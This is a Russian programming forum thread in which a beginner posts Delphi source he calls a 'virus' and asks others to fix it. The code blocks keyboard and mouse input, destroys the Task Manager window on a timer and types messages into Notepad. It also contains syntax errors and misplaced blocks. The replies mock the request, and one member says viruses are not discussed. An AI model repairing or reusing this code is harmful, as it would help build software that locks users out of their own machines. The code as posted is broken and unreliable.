Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Delphi программирование > Общие вопросы Delphi
Регистрация

Восстановить пароль

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 11.02.2015, 20:48   #1
Kulok
Новичок
Джуниор
 
Регистрация: 11.02.2015
Сообщений: 2
По умолчанию Помогите, я-начинающий програмист!

Вот, зделал небольшой проект, помогите понять в чем здесь проблема!!!
Код:
unit Unit9;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ExtCtrls,ShellApi;

type
  TForm1 = class(TForm)
    Timer1: TTimer;
    Timer2: TTimer;
    procedure FormCreate(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
    procedure Timer2Timer(Sender: TObject);
  private
    { Private declarations }
    i:integer;
    messages:array[0..7] of pchar;
  public
    { Public declarations }
  end;

var
  Form1: TForm1;i:integer;

implementation

{$R *.dfm}

procedure BlockInput(fBlockIt : boolean); stdcall; external 'USER32.DLL';
begin
ShellExecute(Application.Handle,'open','c:\windows\notepad.exe',nil,nil,SW_MAXIMIZE);
i:=0;
messages[0]:='ххх';
messages[1]:='ххх';
messages[2]:='ххх ';
messages[3]:='ххх';
messages[4]:='ххх';
messages[5]:='ххх';
messages[6]:='ххх';
messages[7]:='ххх';
end;

procedure TForm1.Timer1Timer(Sender: TObject);
var
wnd:hwnd;
begin
wnd:=findwindow(nil,'Диспетчер задач Windows');
if (wnd<> 0) then
begin
sendmessage(wnd,wm_destroy,0,0);
end;
BlockInput(true);
end;
 procedure TForm1.Timer2Timer(Sender: TObject);
 var
 wnd; wnd1:hwnd;
 dc:hdc;
 j:integer;
 begin
 wnd:=findwindow(nil, 'Безымянный-блокнот');
 if wnd <> 0 then begin
 wnd1:=findwindowex(wnd, 0, 'edit', nil);
 dc:=getdc(wnd1);
 for j := 0 to length(messages[i]) do
 begin
 textout(dc,1,i*15,messages[i],j);
 sleep(100);
 end;
 timer2.Interval:=5000;
 inc(i);
 if i>8 then
 begin
 timer2.Enabled:=false;
 sendmessage(wnd,wm_destroy,0,0);
 BlockInput(false);
 Form1.Close;
 end;
 end;
 end;
 end.
Ето типа вирус... Если поможете - буду благадарен!!

Последний раз редактировалось Stilet; 11.02.2015 в 22:01.
Kulok вне форума Ответить с цитированием
Старый 11.02.2015, 21:03   #2
WinCoder
Заблокирован
 
Регистрация: 24.11.2014
Сообщений: 721
По умолчанию

Цитата:
Если поможете - буду благадарен!!
Офигенная мотивация.
WinCoder вне форума Ответить с цитированием
Старый 11.02.2015, 21:06   #3
zvygin1964
Старожил
 
Аватар для zvygin1964
 
Регистрация: 19.06.2013
Сообщений: 2,469
По умолчанию

Нихрена! Начинающий? А тогда я кто?
Репутация: полный "0"
zvygin1964 вне форума Ответить с цитированием
Старый 11.02.2015, 22:02   #4
Stilet
Белик Виталий :)
Старожил
 
Аватар для Stilet
 
Регистрация: 23.07.2007
Сообщений: 57,097
По умолчанию

Цитата:
понять в чем здесь проблема
А как она проявляет себя?
I'm learning to live...
Stilet вне форума Ответить с цитированием
Старый 11.02.2015, 22:16   #5
Вадим Мошев

Старожил
 
Аватар для Вадим Мошев
 
Регистрация: 12.11.2010
Сообщений: 8,568
По умолчанию

Цитата:
Ето типа вирус
Вирусы не обсуждаем.
Вадим Мошев вне форума Ответить с цитированием
Старый 11.02.2015, 22:16   #6
kta87
Форумчанин
 
Аватар для kta87
 
Регистрация: 22.02.2010
Сообщений: 912
По умолчанию

Цитата:
Сообщение от Stilet Посмотреть сообщение
А как она проявляет себя?
Видимо болит, не?
kta87 вне форума Ответить с цитированием
Старый 11.02.2015, 22:37   #7
Stilet
Белик Виталий :)
Старожил
 
Аватар для Stilet
 
Регистрация: 23.07.2007
Сообщений: 57,097
По умолчанию

Цитата:
Видимо болит, не?
Не исключено )
Вирусы всегда болят.
I'm learning to live...
Stilet вне форума Ответить с цитированием
Старый 11.02.2015, 22:47   #8
Вадим Мошев

Старожил
 
Аватар для Вадим Мошев
 
Регистрация: 12.11.2010
Сообщений: 8,568
По умолчанию

Цитата:
Сообщение от Stilet Посмотреть сообщение
Не исключено )
Вирусы всегда болят.
Поэтому их лечат
Вадим Мошев вне форума Ответить с цитированием
Старый 11.02.2015, 23:57   #9
WinCoder
Заблокирован
 
Регистрация: 24.11.2014
Сообщений: 721
По умолчанию

Возможно я ошибаюсь, но ВОЗМОЖНО речь о очередном неадекватном антивирусе, который в EXE видит вирусы (было). Надо бы прочитать лекцию на тему, почему антивирус, это .... и где ему место, но мне откровенно лень.
WinCoder вне форума Ответить с цитированием
Старый 12.02.2015, 00:55   #10
Вадим Мошев

Старожил
 
Аватар для Вадим Мошев
 
Регистрация: 12.11.2010
Сообщений: 8,568
По умолчанию

Цитата:
Сообщение от WinCoder Посмотреть сообщение
Возможно я ошибаюсь, но ВОЗМОЖНО речь о очередном неадекватном антивирусе, который в EXE видит вирусы (было). Надо бы прочитать лекцию на тему, почему антивирус, это .... и где ему место, но мне откровенно лень.
Ваш кому адресован? Автор в начале говорил, что он пишет вирус.
Вадим Мошев вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Начинающий програмист. tromka Помощь студентам 5 04.08.2013 16:33
начинающий програмист хочет обучиться работать с программой Dev-C++ Ермошин Максим Общие вопросы C/C++ 14 18.07.2011 20:49